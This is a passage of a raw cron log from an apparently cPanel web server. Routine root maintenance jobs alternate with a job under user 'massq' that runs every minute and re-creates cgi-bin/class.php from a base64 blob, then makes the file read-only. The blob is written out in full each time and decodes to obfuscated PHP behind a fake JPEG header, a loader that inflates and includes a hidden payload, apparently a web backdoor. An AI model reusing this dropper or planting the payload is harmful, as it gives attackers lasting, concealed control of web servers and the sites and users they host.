cvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:08:01 server CROND[25494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:08:01 server CROND[25496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:08:01 server CROND[25495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:09:02 server CROND[25886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:09:02 server CROND[25887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:09:02 server CROND[25889]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 02:09:02 server CROND[25888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:10:02 server CROND[26270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:10:02 server CROND[26274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:10:02 server CROND[26276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:10:02 server CROND[26277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:10:02 server CROND[26278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:10:02 server CROND[26280]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:10:02 server CROND[26281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:10:02 server CROND[26279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:11:01 server CROND[27106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:11:01 server CROND[27107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:11:01 server CROND[27108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:12:01 server CROND[27496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:12:01 server CROND[27495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:12:01 server CROND[27494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:12:01 server CROND[27505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:13:01 server CROND[27960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:13:01 server CROND[27961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:13:01 server CROND[27962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:14:01 server CROND[28333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:14:01 server CROND[28334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:14:01 server CROND[28335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:15:01 server CROND[28717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:15:01 server CROND[28719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:15:01 server CROND[28722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:15:01 server CROND[28725]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 02:15:01 server CROND[28726]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 02:15:01 server CROND[28721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:15:01 server CROND[28724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:15:01 server CROND[28723]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:15:01 server CROND[28727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:16:01 server CROND[29584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:16:01 server CROND[29585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:16:01 server CROND[29586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:17:01 server CROND[29956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:17:01 server CROND[29957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:17:01 server CROND[29958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:18:01 server CROND[30423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:18:01 server CROND[30422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:18:01 server CROND[30424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:19:01 server CROND[30789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:19:01 server CROND[30790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:19:01 server CROND[30791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:20:01 server CROND[31209]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
